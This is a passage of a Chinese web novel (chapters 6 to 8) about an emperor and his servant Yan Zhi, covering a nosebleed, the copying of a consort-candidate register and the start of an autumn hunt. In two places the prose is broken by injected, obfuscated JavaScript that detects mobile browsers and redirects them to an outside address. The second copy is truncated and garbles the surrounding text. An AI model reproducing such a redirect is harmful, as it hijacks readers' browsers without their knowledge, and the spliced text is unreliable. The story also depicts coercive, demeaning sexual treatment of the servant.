燕枝拨开陛下挡在自己面前的手,怔怔地望着方才还热闹非凡的天空。 怎么回事?烟火呢? 刚刚不是还…… 燕枝整个人都呆住了。 直到陛下喊他:“走了,愣着做什么?” “可是……” 他才刚看到几朵烟火啊。 燕枝疑惑地看向其他宫人,宫人们面无异色,一副意犹未尽的模样。 燕枝刚想开口询问,就被萧篡打断了。 “都看了半个时辰了,还想看?没了。” “奴……” 燕枝跟上萧篡下城楼的脚步,揉了揉眼睛,今夜第二次怀疑自己是在做梦。 烟火放了半个时辰? 可他……分明才刚刚到城楼上来啊。 “方才不是还说,只要和朕看烟火就高兴,现在怎么不高兴了?” “奴没有不高兴……” “朕就说你高兴得太早了。” 燕枝也说不清。 他低下头,忽然,两滴鲜红的血珠,落在他的衣襟上,快速晕开,变成乌色。 烟火掉到他身上了?红色的烟火就是红色的水珠? 燕枝懵懵懂懂地抬起头,望着天空。 “怎么又不走了?你要住在城楼上?” 萧篡回头看他,猛地反应过来,一个箭步冲上前,捏住他的鼻子。 “蠢货,你吃太多鹿肉了!” 6.名册 6 萧篡捏着燕枝的鼻子,大步在前面走。 燕枝被拎着,踮起脚,小跑着在后面追。 “陛下……陛下……” 慢一点,他跟不上。 他的鼻子要被揪掉了! 萧篡脚步不停,只是抽出空来,吩咐一众朝臣:“都散了。” 文武百官不敢多言,俯身行礼:“恭送陛下。” 萧篡拎着燕枝,走下城楼:“鼻血都流一地了,还想着看烟火?得亏朕跳……” 得亏他选了“跳过”,否则燕枝这个蠢货,一定会捏着鼻子看烟火。 萧篡顿了一下,改口问:“你偷吃了多少鹿肉?” “没偷吃。”燕枝小声解释,“陛下让我光明正大地吃。” “那你光明正大地吃了多少?” “只吃了一小块儿。” “胡说,朕看见的时候,你就抱着一大块在啃。朕没看见的时候,肯定吃的更多。” “奴没有……” “还犟嘴。” 燕枝顿了一下,乖乖闭上嘴巴。 新来的宫人上前,壮着胆子询问:“陛下,是否要请太医在太极殿候着?” 萧篡睨了他一眼,淡淡道:“你说呢?” “奴……” 燕枝见状不好,赶忙拉住宫人衣袖,把他拉到自己身后:“奴觉得不用。” 萧篡冷嗤一声:“废话,自然不用。要是人人都跟你似的,吃了点鹿肉就去找太医,太医不得忙死?” 燕枝点点头:“是。” 萧篡沉默着,目光上下一扫,瞧了一眼燕枝拉着宫人衣袖的手。 燕枝反应过来,连忙把手松开,轻轻推了宫人一把:“去吧。” 这个宫人是生面孔,想来是新拨过来侍奉的,还不太懂得规矩。 此事因他流鼻血而起,实在没必要牵连旁人。 陛下很凶,只凶燕枝一个就足够了。 燕枝踮起脚,脑袋凑近陛下的手,讨好道:“陛下拎着奴走。” 萧篡嗤笑一声,捏住他的后颈,强迫他抬起头来:“走。” 回到太极殿。 宫人们不敢再多话,将热水巾子放好之后,就出去了。 燕枝乖乖坐在榻上,微微仰起头,用手帕捂着鼻子。 今日不知是怎么了,鼻血一流起来就没完。 每当燕枝以为止住了,结果一低头,又有血珠吧嗒吧嗒地掉下来。 帕子都用了两三张。 萧篡抹了把脸,换了衣裳,过来的时候,看见燕枝还捂着鼻子,皱起眉头。 “你到底偷吃了多少?” “奴没偷吃……” “朕看看。”萧篡双手捧起他的脸,把他提起来。 燕枝抬起头,屏住呼吸,好让陛下看个清楚。 忽然,萧篡厉声呵斥:“再流血,就把你送去净身房阉掉,正好一次流个干净。” 听见这话,燕枝不由地哆嗦了一下,脸色白了几分。 下一刻,萧篡正色道:“行了,不流了。” “啊?”燕枝呆了一下,在陛下不满的目光中,小声说,“谢谢陛下,陛下真是当世神医。” “当世神医?这词不错。”萧篡这才满意,松开手,“去洗脸。” “是。” 燕枝挪到榻边,用手帕蘸了点热水,对着铜镜,小心翼翼地把凝结在自己脸上的血痂擦掉。 鲜血凝在脸上,黏住他的皮肉,撕下来怪疼的。 萧篡则抱着手,靠坐在榻上,看着他小小的身影,也在想事情。 “蠢货,你说,要是朕挑不到合适的皇后,怎么办?” “嗯……”燕枝想了想,诚实地摇摇头,“奴不知道。” “那就放宽条件,准许世家旁支子女参选。” “陛下英明。” “要是旁支也选不出来,那怎么办?” “那就……从民间选。” “从民间选?”萧篡笑了一声,“你也想当皇后?” “奴不想,奴只是……” 他只是顺着陛下的话说。 “你想也没用。就算你蹦起来够,也够不到皇后。” “奴知道的。” 他知道的,他容貌丑陋、笨手笨脚,陛下不会选他的。 燕枝垂下眼睛,专心擦脸。 萧篡也没再管他,盯着他的侧脸,继续盘算。 没多久,燕枝把脸擦干净,脱掉外裳,爬上床榻。 萧篡握住他的胳膊,把他抓到自己身边。 庆功宴上的时候,陛下就说过晚上继续。 燕枝刚想解开衣裳,萧篡瞧见他的动作,皱眉道:“你就这么迫不及待?都流鼻血了还想要?” “奴……” “别直勾勾地盯着朕,都是朕的错似的。”萧篡命令道,“搂着。” “是。”燕枝拢好衣裳,张开手臂,抱住陛下,依偎在陛下身边。 燕枝累极了,下午本就没怎么睡够,既然不用侍奉,他一沾床就闭上了眼睛。 他怕自己还流鼻血,弄脏陛下的衣裳,便微微仰起头,像一只坦着肚皮的小猫。 就在他将睡未睡的时候,萧篡掐住他的脸,使劲摇了摇。 “蠢货,醒醒。” “陛下?”燕枝迷糊。 “你多读点书,把‘才华’提到……” 话还没完,萧篡忽然不说了。 “罢了,你不配。” 萧篡放下榻前帷帐,搂着燕枝,躺下睡觉。 燕枝低下头,假装自己什么都没听见。 直到过了很久很久,他估摸着陛下睡了,才敢悄悄抬起手,胡乱抹了把眼睛。 他知道自己很笨,他也知道自己不配。 可是……陛下也不用一直说、一直说啊。 * 陛下将选秀范围,放宽到了世家旁支。 朝中大臣动作很快,没两日便将待选名册整理好,送了上来。 燕枝作为陛下钦点的、操办选秀的人,最后这份名册,自然是到了他的手里。 燕枝拿着沉甸甸的名册,不知道下一步该怎么办。 这个时候,萧篡就坐在御案前批奏章,见他抱着东西,呆呆地站在殿里,故意问:“愣着做什么?” “奴不知道接下来,是不是该整理宫室,安排备选之人入宫觐见……” “没那么着急。”萧篡道,“把待选名册重抄一遍,再拿给朕看。” “是。” 燕枝从不质疑陛下的话,既然陛下让他抄,那他就抄。 在宽大的御案下边,再摆上一张小小的桌案,燕枝就跪坐在前面,铺好纸张。 他是会写字的,跟在陛下身边,学了不少,他还能看话本呢! 陛下偶尔也会教他,就是陛下教他需要付出的报酬……太大了,他付不起,时常学两个字,就被陛下按在怀里。 事了之后,陛下还要说他笨,学了这么久,就学会两个字,没有半点长进。 燕枝轻轻摇了摇脑袋,把这些事情甩出去,随后挽起衣袖,提笔沾墨。 萧篡瞧了他一眼,淡淡道:“只抄人名和出身,相互之间留出空隙,日后还要做批注。” 燕枝点头领命:“是。” 一大一小两张桌案,一前一后错落摆放。 太极殿殿门大开着,八月秋风迎面吹来,时不时有宫人捧着东西,从门外走过。 燕枝一手托着腮,一手抄写,心里忽然冒出个大逆不道的念头来—— 要是陛下和他能一直停在这里,那就好了。 陛下没有凶他,没有欺负他,他就这样乖乖地待在陛下身边。 他们什么也不做,就这样安安静静地待着…… 就在这时,萧篡批完奏章,把笔一丢,伸手圈住他的腰。 “朕看看你的字练得怎么样了。” 说是看字,但是陛下的手,已经像蟒蛇一样缠了上来,像狼爪一样牢牢锢住他的腰。 燕枝抬起眼睛,怯怯地看了一眼陛下。 一个更加大逆不道的念头,从他心里钻了出来—— 陛下才不会这么好心。 陛下又要欺负他了。 果不其然,陛下只看了一眼他的字,就“啧”了一声。 “朕教了你这么多回,你的字怎么还是跟肉丸子似的?” 燕枝握紧手里的笔:“那奴重抄……” 萧篡坐到他身后,握住他的手:“朕最后再教你一回,认真学。” “嗯……” “就这么几个字,写了十年还写不好,真是欠打。” 萧篡一开始还能耐着性子,手把手地教他写字。 “‘荀端’,‘端’字最好写。坐直点,别歪在朕怀里。” “奴没有。” “‘卞启’、‘卞承’、‘卞转’、‘卞合’,这个卞英,自己只生了一个儿子,他弟弟倒是生了一堆。” “嗯……” 萧篡故意问:“你什么时候也揣一个给朕看看?” 燕枝忙道:“陛下,奴是男子……” “朕当然知道。”萧篡拢住他的腰,“肚子大起来也一样。” 算了,跟陛下说不清楚。 这个时候,陛下的手,已经探进了他的衣摆里。 燕枝努力维持镇定,握紧笔,继续抄录两个名字。 忽然,他看见名册上的一个名字,抄写的动作顿了一下。 笔尖一顿,在纸上晕开一个墨点。 萧篡察觉到他身上僵硬,定睛一看,一字一顿地把下一个名字念出来:“谢、仪。” “啧,小狗,你唯一的好友也来选皇后了。” “不是的。”燕枝忙道,“谢仪他……” “谢仪不是你的好友?” “不是……但是……” 大梁征兵,一般是从平头百姓家里征。 后来陛下亲政,以雷霆之威,大改国策,勒令世家大族也须得出人出力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123464|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但战场上刀剑无眼,这些平日里养尊处优的世家子弟,怎么肯如此轻易地就上战场? 于是在政令颁行之初,世家大族便清点族谱,把和本家隔了十八辈儿的旁支子弟找出来,塞进军队里作数。 燕枝就是在陪陛下御驾亲征安国的时候,在军营里认识的谢仪。 谢仪是谢家旁支,他的父亲在田庄里种了一辈子地,忽然被主家喊回来,丢到战场上充数,谢仪放心不下,便跟着来了。 结果谢仪的父亲头天上战场,就负了伤。 那个时候,燕枝抱着铜盆,要去给陛下打水洗衣裳,忽然看见有个和他差不多大的少年,背着父亲,红着脸,声若蚊讷,请求军医先给父亲治伤。 但是军医都忙得很,根本没耐心听他说话,反倒把他推来推去,撞来撞去的。 燕枝看见了,便把他喊出来,悄悄请来陛下那边的太医,给他的父亲看看。 就这样,谢仪对燕枝十分感激,燕枝也就认识了他。 结果当天晚上,燕枝回营帐的时候,陛下就问他:“怎么样?朕的太医使唤得顺手吗?要不要多给你派两个?” 陛下什么都知道,陛下也不许他再和谢仪来往。 再后来,跟随陛下出征的人,打了胜仗,个个都加官进爵,世家子弟眼红,又争破了头,想要加塞进来,陛下却不给他们机会了。 燕枝小声解释:“自从上次征伐齐国的时候,和他分开,奴就再没见过他了。奴与他只见过一面,并不算是什么……好友。” 萧篡冷笑一声,反问道:“怎么?你还想怎么见他?跟朕似的,日日见,夜夜见?时时刻刻不分离?” “奴没有。” “提到谢仪,你跟朕说话都硬气不少。小狗会咬人了?” “奴没有……” 萧篡忽然道:“不用抄了。” 燕枝疑惑地抬起头。 “朕直接就选谢仪,让他进宫跟你作伴。” 燕枝下意识道:“不行!” “为何不行?” “谢仪……反正谢仪就是不行……” 燕枝还记得,自己在齐国第一次,也是最后一次见谢仪的时候,他和自己一样,瘦瘦小小的,根本不适合上战场。 他喜欢看书,还想着以后考试做官。 怎么能进宫做皇后? 萧篡见他又走神,一股怒火没由来地窜上来,用力掐住他的腰,不敢置信地问:“你还真想和他作伴?” “奴没有!” 燕枝惊呼一声,没等反应过来,他手里的笔就被陛下抽走,陛下直接把他抱起来,紧跟着又重重放下。 重新坐下的瞬间,燕枝趴在案上,不知是痛,还是别的什么,想要喊出声,抬眼看见殿门大开,只好把手指塞进嘴里,用力咬住,只留下意味不明的呜咽。 陛下把他抱起来,冷声道:“朕前几日才刚教你的,你又忘了?” 燕枝摇摇头:“呜……” “朕教了你什么,说来听听。” “呜呜……” 燕枝仍是摇头,喉头哽塞,说不出话来。 萧篡感觉不对,低头一看,才发现他咬着自己的手指,手指都咬破了。 “谁让你咬手的?”萧篡打了一下他的手背,把他的手抽出来,用衣带缠住,“手咬坏了,还怎么写字?” 燕枝回过头,双眼通红,眼泪汪汪地看着陛下。 他伸出手,想要抱住陛下的脖颈,却因为难以转身,只能眼巴巴地望着他。 萧篡最后打了他一下:“放松点,自己就转过来了。” 结果他一拍,燕枝脸上反倒落下两行眼泪来。 他转不过去,门还大开着,随时都会有宫人从门外经过。 眼泪珠子掉下来,砸在萧篡的手背上。 萧篡熟练地把眼泪珠子抹回燕枝脸上:“你还哭?你的好友马上就要进宫来陪你了,你哭什么?” “朕才该哭,前几日才教你的,你今日就全忘了。” “还没怎么碰你就哭。上面哭,下面也哭。别哭了。” 萧篡抱着他,站起身来,作势要朝外面走去。 燕枝心里害怕,连忙叫喊出声:“陛下……陛下!陛下!” 萧篡停下脚步,竟又坐了回去,故意问:“喊朕做什么?” “进内殿……”燕枝回过头,可怜巴巴地看过去,“进内殿。” “还有呢?” “争宠……” 直到这时,燕枝才终于想起来,陛下想听的是什么。 燕枝望着他,努力回想那些话,一字一顿,认真道:“在新人入宫之前,奴要使出浑身解数,勾……勾.引陛下……以免陛下忘了奴……” 他嘴上说着“勾.引”,神色却很天真,目光也很澄净。 反倒是萧篡喉头一紧,终于退让一步,抱起他,走到殿门前,在门槛前站定。 他伸出手,终于把门关上关严。 但他也把燕枝抵在了门上。 7.名字 7 一列宫人捧着膳房新送来的时鲜瓜果,登上石阶,来到太极殿前。 “启禀陛下……” 话才起了个头,面前紧闭的殿门忽然被什么东西撞了一下,发出一声轻响。 宫人下意识抬起头,但马上又低下头去,不敢多看,原路离开。 “奴等告退。” 太极殿外,重归寂静。 太极殿里,燕枝背对着殿门,紧紧地抱着萧篡。 他两只手死死地环着萧篡的脖颈,两条腿也牢牢地缠住萧篡结实的腰,整个人都挂在萧篡身上。 燕枝低着头,把脸埋在萧篡的肩窝里,看不清脸色,只是微微颤抖着。 不知道是在羞,还是在怕。 萧篡一手托着他的腿,一手抚着他的背。 直到温热的液体滴在萧篡的脖颈上,蜿蜒淌下。 萧篡掐住燕枝的后颈,强迫他抬起头来,这才发现,燕枝不知道什么时候哭了。 燕枝紧紧咬着下唇,哭得很小声,但眼泪早已在不知不觉间淌了满脸。 萧篡抱着他,上下掂了掂:“又怎么了?” “不要……”燕枝摇头,哽咽着说,“不要靠在门上……会摔出去……” 萧篡失笑:“殿门是往里开的,怎么会摔出去?” 燕枝听不进去,只是摇头:“就是不要……陛下不要把我按在门上……” “知道了。”萧篡顿了一下,将他按进怀里,“这样满意了?” “嗯……”燕枝含着两泡眼泪,点了点头。 萧篡低下头,像野兽一般,舐去燕枝颊上的泪珠:“亏得朕费尽心思,教你如何争宠。原来你只是装得可怜兮兮,背地里什么都会。” 燕枝垂下眼睛,不敢说话。 其实他不会争宠,也不会装可怜。 但是陛下说他会,那他就得会。 陛下总是这样,明明是自己重欲,每回都要说是他蓄意勾引。 燕枝越想,心里越闷,也越发低下了头。 偏偏萧篡不肯放过他,凑近去瞧他:“又哭了?你这个说哭就哭的本事,朕再立三个皇后、五个贵妃,也赶不上你。” “原本朕还担心你被他们欺负,现在看来,你不欺负他们就不错了。” 燕枝用力眨了一下眼睛,忍住眼泪,终于开了口:“奴不会欺负他们的。” “那可不一定。你这种小狗就是蔫坏,在朕面前装乖,在旁人面前恃宠而骄,耀武扬威。” “奴不是……” 他不是小狗,他也不坏。 他已经打定主意,要和皇后贵妃好好相处了。 可是陛下不听他解释,抱着他,往上颠了一下,就朝内殿走去。 燕枝扒在陛下身上,闷闷地想—— 他不要喜欢陛下了。 每回都是这样。 他好不容易说服自己,接受陛下要选秀的事情,陛下就吓唬他。 他好好地抄着名册,幻想着陛下和他能够一直停留在这个时候,陛下就欺负他。 他刚想继续喜欢陛下,陛下就……一直一直欺负他。 他不要喜欢陛下了,至少现在,至少今日…… 就在这时,陛下把他放到内殿床榻上,掐着他的下巴,仔细端详他的脸。 似乎是看出了什么。 燕枝心里不由地紧张起来,眨巴眨巴眼睛,忐忑地看回去。 萧篡皱着眉头,看了他一会儿,最后命令道:“说你喜欢朕。” 燕枝来不及思索,忙不迭道:“奴喜欢陛下,特别喜欢,非常喜欢,天下第一喜欢。” “再说一遍。” “奴喜欢陛下……” 帷帐散乱,锦被堆叠。 即将昏睡过去的时候,燕枝还窝在陛下怀里,喃喃地重复着:“喜欢陛下……” 陛下抱着他,恩赏似的亲了亲他的额头:“乖。” 下一瞬,他隐隐约约听见陛下说:“都报错好几天了,怎么还没修好?” 再下一瞬,他就倒在陛下怀里睡过去了,什么也听不见了。 * 等燕枝再醒来的时候,已经是傍晚了。 帷帐垂落,隔断天光。 帐中昏昏沉沉,燕枝整个人也迷迷糊糊的。 他躺在榻上,下意识翻了个身,要抱住陛下,却扑了个空。 他的身边只有一床被子。 发现陛下不在榻上,燕枝的第一反应,竟是松了口气。 陛下不在,就不会欺负他了。 真好。 他难得有自己睡觉的机会,抱着被子,揉了揉眼睛,刚准备再睡一会儿,忽然听见外殿传来熟悉的声音—— “燕枝?” 听见自己的名字,燕枝还以为陛下是在喊自己,连忙翻身坐起,下榻穿鞋。 “奴在……” 紧跟着,声音再次响起—— “他没耐性得很,朕叫他抄名册,他没抄两个字,就眼泪汪汪地说手疼,不想抄了。” ——他没有! 燕枝在昏暗中睁圆了眼睛。 “这会儿又不知道跑去哪里,一个人生闷气去了。朕也是把他惯坏了。” ——他没有!他就在殿里!他刚刚才醒呢! “当日在城楼上,说让他筹办选秀,不过是逗他玩玩,结果他日日夜夜躲在被窝里哭,哭得朕夜里睡觉也不得安生。” ——他没有…… 他是有哭过,但是后来,他已经开解好了自己。 他不是因为陛下选秀才哭的,他是因为陛下欺负他才哭的。 原来他哭的时候,陛下根本就没有睡着,陛下就在黑暗里看着他。 看着他捂着脸掉眼泪,看他的笑话。 陛下说起这话的时候,还志得意满的。 萧篡最后道:“选秀之事,还是你们去办,不用指望他。” 于是外殿众臣齐声领旨:“是。” 有大臣问:“陛下,待选名册已然齐备,是否整理宫室,宣备选秀女……秀男……” 大梁并无选秀选男子的先例,这位大臣一时舌头打结,竟然连“秀男”都说出来了。 燕枝坐在榻上,没忍住笑出声来。 殿外也静了一瞬,大臣改了口,继续道:“陛下是否择日,宣备选之人,入宫觐见?” “不急。人太多,朕看着烦。”萧篡沉吟片刻,“秋狩将至,叫他们也跟着去。” “是。”大臣再次齐声应道,“臣等这就去准备。” “去罢。” 外殿安静下来,只有衣裾响动的声音。 诸位朝臣似乎要退下了。 燕枝站起身来,刚走出去一步,就不小心踩到了过长的裤脚,又撞到了摆在榻前的小案。 “啊……” 小案被他撞歪,发出不小的动静。 外殿朝臣似乎听见了,都默了一瞬。 萧篡倒是语气不改,淡淡道:“小狗打翻了烛台,无妨。” 朝臣们不敢应答,只是默默加快了退下的脚步。 燕枝蹲下身,把歪掉的小案扶好,又把掉下来的东西捡起来。 案上似乎是一些纸张,但因为殿中没点蜡烛,燕枝也看不清,只能胡乱收拾一下。 正当此时,“吱嘎”一声,内殿殿门被人从外面推开,外面的烛火照了进来,映出陛下高大的身影,将燕枝笼罩。 燕枝蹲在阴影里,忙不迭抬起头。 “就知道是你这只小狗。” “陛下……” 萧篡走到他面前,淡淡道:“你敢把桌上的东西弄坏,朕就再弄你一回。” 燕枝双手捧起地上的纸张:“没有弄坏……” 话还没完,燕枝借着外面透进来的烛火,定睛一看,这才发现,这些是他才抄了一点儿的名册。 在他圆滚滚的字下边,是陛下端正锋利的字迹。 “诶?”燕枝愣了一下。 谁帮他把名册抄完了? 萧篡抱着手,淡淡地扫了他一眼,什么也没说,转身就走。 燕枝回过神来,抱着东西,追了上去:“陛下……” 萧篡脚步不停,大步朝殿外走去。 “是陛下帮奴抄的么?” “不是。”萧篡斩钉截铁。 “可是……” 这就是陛下的字迹啊。 萧篡见他迟疑,又道:“睡着的时候,在梦里还哭着喊着,说名册没抄完,闹腾得不行。朕一面批奏章,一面帮你抄了点。” 燕枝抬起头:“多谢陛下。” “就这样?”萧篡反问,“还有呢?” “唔……陛下是个大好人,奴喜欢陛下。”燕枝想了想,又道,“陛下不必亲自抄写,可以让尚书台的官吏抄写。他们人多,一定很快就……” “让大臣抄?朕怎么对他们说?对他们说——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128651|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧篡好笑地看着他,故意道:“‘不好了,燕枝被朕弄得起不来床,昏过去了。他昏过去之前,还惦记着待选名册没抄完,你们几个,都来帮他抄。’” 燕枝急急忙忙道:“不行!” 萧篡轻笑一声,最后道:“拿上东西出来。” “是。” 燕枝跟在萧篡身后,来到外殿。 萧篡抱着手,坐回高台主位之上。 燕枝抱着名册,坐在旁边。 萧篡皱着眉头,望着宫殿屋顶:“卞英的儿子,卞明玉的家世,给他记‘上上等’。” 燕枝愣了一下,随后立即反应过来,提笔沾墨,在名册上落笔:“回陛下,记好了。” “王……忘了叫什么了,王什么的,才学给他记‘中上等’。” “是……” 陛下说得不清楚,燕枝只能自己翻翻名册,寻找王姓公子。 他把名册从最前面,翻到最后面,忽然发现,自己的名字也在上面。 ——燕枝,平民之子。 就在最后一页,最后一个。 陛下在写他的名字的时候,力透纸背。 燕枝握着笔的手一顿,笔墨滴落,在纸上洇开,像两个小小的狗爪印子。 见他发愣,萧篡转头看了一眼,道:“怎么把自己的名字写上去了?还盖了你的印章?” “不是的,这不是奴写的,这是陛下写的。” “朕写的?”萧篡似是没有印象,不自觉坐直起来。 燕枝抬起头,认真地看着陛下,眼里隐约有光闪动,小声却坦诚地问:“陛下帮我洗干净身子,帮我换了衣裳,帮我抄名册,还……还把我的名字加进去了,陛下是不是也有一点点喜欢奴?” 萧篡瞧了他一眼,故意问:“朕喜欢你做什么?” “可是陛下把奴的名字加进去了……” “你一不是绝世美人,二不是隐士高人,朕喜欢你有什么好处?” “虽然奴不厉害,但是奴也会尽力保护陛下……”燕枝努力陈述自己的好处,“奴会给陛下试毒,会在战场上保护陛下……” 燕枝期盼地问:“所以陛下也有一点点喜欢奴,对不对?” “不对。”萧篡正色道,“朕不喜欢你。” “可是奴的名字就在上边……” 燕枝死死抱着这个名字,不肯松手,执拗又坚定地看着陛下。 一定要他承认喜欢自己。 只要有一点点,有一点点就足够了。 可萧篡又怎么可能承认? 他只道:“朕那时昏了头,不知怎么的,就写了你的名字。许是你勾引人的功夫到家了,许是被你的蠢笨传上了,朕现在改掉。” 萧篡一面说着,一面就从燕枝手里拿过纸笔,要把他的名字划掉。 燕枝连忙上前,直接把手盖在自己的名字上:“陛下……” 萧篡拿开他的手,动作一顿,没有直接划掉他的名字,而是在他眼前,一笔一划地批注—— 燕枝的家世,下下等。 燕枝的容貌,下下等。 燕枝的才学,下下等。 燕枝的一切,在萧篡眼里,都是下下等。 “你喜欢朕,朕就带着你吃香的喝辣的,还给你奶油泡芙吃。” “朕喜欢你,你能给朕什么?” “若是朕的下属,个个儿都来问朕喜不喜欢他们,岂不是要翻天?” 燕枝不再求他,握紧了沾上墨迹的双手,垂下脑袋,眼里的光也跟着灭了。 他真傻。 他怎么会以为,陛下把他的名字写上去,是要选他的意思呢? 他怎么会以为,陛下也是有一点点……喜欢他的呢? 他还这样莽莽撞撞地就问了出来。 从头到尾,只有他在喜欢陛下。 他忽然觉得难受,心里闷闷的,好像有什么东西要被憋死了。 他也快被憋死了。 萧篡按着燕枝的脑袋,像逗小狗一样,抚弄着他的头发,最后道—— “朕喜不喜欢你,又不耽误你喜欢朕。” “嗯……” 燕枝闷闷地应了一声,从陛下手里拿回名册,趁着陛下不注意的时候,用沾了墨迹的手指抹过纸张,悄悄地把自己的名字抹黑抹花。 抹成一个黑黑的、小小的墨点。 既然陛下不喜欢他,那他也不要在这上面! 不要! 8.秋狩 8 八月秋狩,是大梁立国之初就定下的规矩。 意在考校军士武功,操练战场阵法,壮大梁军军威,同时提点后世子孙,勤修骑射,以定天下。 如今八月将过,许多朝臣暗中揣度,大军刚刚还朝,陛下也刚刚从战场上回来,人困马乏,亟待休整,今年秋狩怕是要顺势取消。 不曾想,转日上朝,陛下便颁下口谕—— 秋狩照旧。 地点照旧,礼制照旧,随行人员照旧。 并特许今次选秀,待选之人,一并跟随。 朝中大臣一面感慨陛下年轻力壮,一面也明白过来。 看来,这就是陛下那日在城楼上说过的“选秀面试”了。 有意送子女入宫的朝臣,下了朝就准备起来,给自家子女购置骑装,把他们赶去城外练习骑射。 他们抢破了头要入宫,萧篡自然乐见其成。 这日清晨。 萧篡搂着燕枝,坐在御案前,一手揉捏他的脸颊肉,一手批奏章。 “等过了秋狩,再放出消息去,就说朕还喜欢才学高的人,让他们继续练。” “他们什么时候练成文武双全的人才,朕就什么时候选秀。选秀剩下来的,还能入朝为官。” “选秀罢了,倒也不难。” 萧篡志得意满,觉着自己着实厉害。 他握着笔,在奏章上重重按下最后一笔,随后低头看向燕枝。 燕枝被他抱着,小小一只,乖乖窝在他怀里,像一只小猫。 他低着头,垂着眼睛,一动不动,只有偶尔眨一下眼睛,睫毛极慢极慢地扇动一下。 萧篡原本心情大好,在看见燕枝这副模样之后,反倒沉下了脸。 虽然很乖,但总像是少了点什么。 许是上上回,把他抵在门上弄,把人给吓坏了。 又许是上回,把他按在榻上咬脖子,把人给咬坏了。 燕枝这几日总是蔫蔫儿的,不怎么说话,也不怎么笑,跟丢了魂似的。 萧篡别过头去,故意轻咳一声。 燕枝后知后觉地反应过来,把陛下面前批复好的奏章拿走,换上一封新的。 他将奏章展开,放在案上,用镇纸压平,然后拿起批过的奏章,轻轻把上面的朱砂笔迹吹干。 萧篡看着他认真的侧脸,淡淡道:“吹两下就行了。吹得没气了,朕还得救你。” 燕枝吹到一半,被口水呛了一下,捂着脸咳嗽:“咳咳……” “蠢货,果然被朕说中了。”萧篡抬起手,把奏章拿开,拍拍他的后背。 以往这个时候,燕枝早该反驳,自己不是蠢货了。 可是今日,燕枝只是捂着嘴,咳得脸颊通红,也不曾反驳一句。 萧篡皱眉,捏着他的后颈,让他抬起头来:“再咳把你送去阉掉。” “不行!不……”燕枝连忙摆手,“奴没事了。” 燕枝往后躲了躲,因为咳嗽,眼角沁出泪来,像一只受惊的小动物,有些怕他的模样。 萧篡越看他这副模样,心里便越不舒坦,却也说不上来,究竟是哪里不舒坦。 燕枝揪着衣袖,紧张地望着陛下。 所幸陛下只盯了他一会儿,就重新将目光移到了奏章上。 好险。 燕枝松了口气,垂下眼睛,挽起衣袖,拿起墨锭,又开始研墨。 他……他有点儿害怕陛下。 不知怎么的,自从上回,陛下明确说不喜欢他之后,他忽然就不知道该怎么跟陛下相处了。 不知道该说什么话,不知道该做什么事,不知道手脚该怎么摆。 其实,那天刚问完陛下喜不喜欢他,话刚出口,他就后悔了。 他不该问的。 虽然陛下总说他蠢,但他心里也明白,陛下并不喜欢他。 就算喜欢,也是对小猫小狗的喜欢。 要是他没问,还能从平日里的肌肤相亲之中,找到一丁点陛下喜欢他的痕迹,说服自己。 可偏偏他问了,陛下还答了。 陛下果真一点儿都不喜欢他。 他完全是自取其辱。 他怕陛下凶他,怕陛下欺负他,怕再从陛下口中听见那些伤人的话。 以至于害怕和陛下相处。 燕枝想,他应该退回小猫小狗的位置上去,不再肖想其他。 只要陛下给他一口吃的喝的,他就能好好活下去。 不必理会其他,更不必理会酸酸胀胀的心里。 这样就很好。 燕枝一边研墨,一边这样想着,深以为然地点了点头。 正巧这时,萧篡拢着他的腰,上下抚了抚,似是随口问:“你这几日总犯懒,该不会真和朕上回说的一样,怀上了吧?” 燕枝根本没听见他说话,只是点头。 萧篡转头看他,皱起眉头:“嗯?” 燕枝回过神来,忙问:“陛下说什么?” “真怀了?”萧篡捏捏他腰间的软肉,“怀的小猫,还是小狗?还是奶油泡芙?” “奴……”燕枝小心翼翼地解释,“陛下,奴是男子。” 萧篡却不理会,继续道:“等生下来,不论是什么,封它做‘小小狗’。” 燕枝呆了一下,不知道该说什么。 萧篡提醒他:“还不谢恩?” “噢……”燕枝小声道,“谢……谢陛下。” 萧篡把下巴搁在他的肩上,贴着他的脸颊,从喉咙里发出一声低低的笑声。 胸膛震动,传到燕枝身上,教他不由地颤了一下。 萧篡把几封要紧的奏章批完,就把笔丢给燕枝。 “全是废话,剩下的你来批。” “奴……” 直到这时,燕枝才终于有了点生气,手忙脚乱地捧着笔,好似捧着烫手山芋,颠来颠去,晃来晃去。 “你念给朕听,朕说什么你写什么。” “可是……” “别废话。” “是。” 燕枝规规矩矩地跪坐在御案前,双手捧着奏章,一字一顿地把上面写的东西都念出来。 萧篡架着脚,躺在他身边,随手一扯,就把燕枝头上的发带扯下来,缠在他的脚踝上,打了个结结实实的捕兽结。 * 一转眼,万事俱备,秋狩将行。 八月廿七,是日大吉,宜出巡,宜出猎。 风和日丽,旌旗猎猎。 萧篡身披铠甲,立于城楼之上,俯瞰狩猎队伍。 燕枝背着陛下的弓箭,乖乖站在陛下身后。 直到军中将领快步登上城楼,大声禀报:“启禀陛下,万事齐备,随时可以启程。” 萧篡却没有动作,目光依旧望着城楼下,淡淡道:“你先下去探路。” 不知道陛下说的是谁,跟随的宫人将领都愣了一下。 萧篡抬起手,捏了捏燕枝的脸颊肉:“你——” 燕枝心中一惊,连忙抬起头。 “带几个人,去下面逛一圈。” “是……” 燕枝颔首应了,背着弓箭,走下城楼。 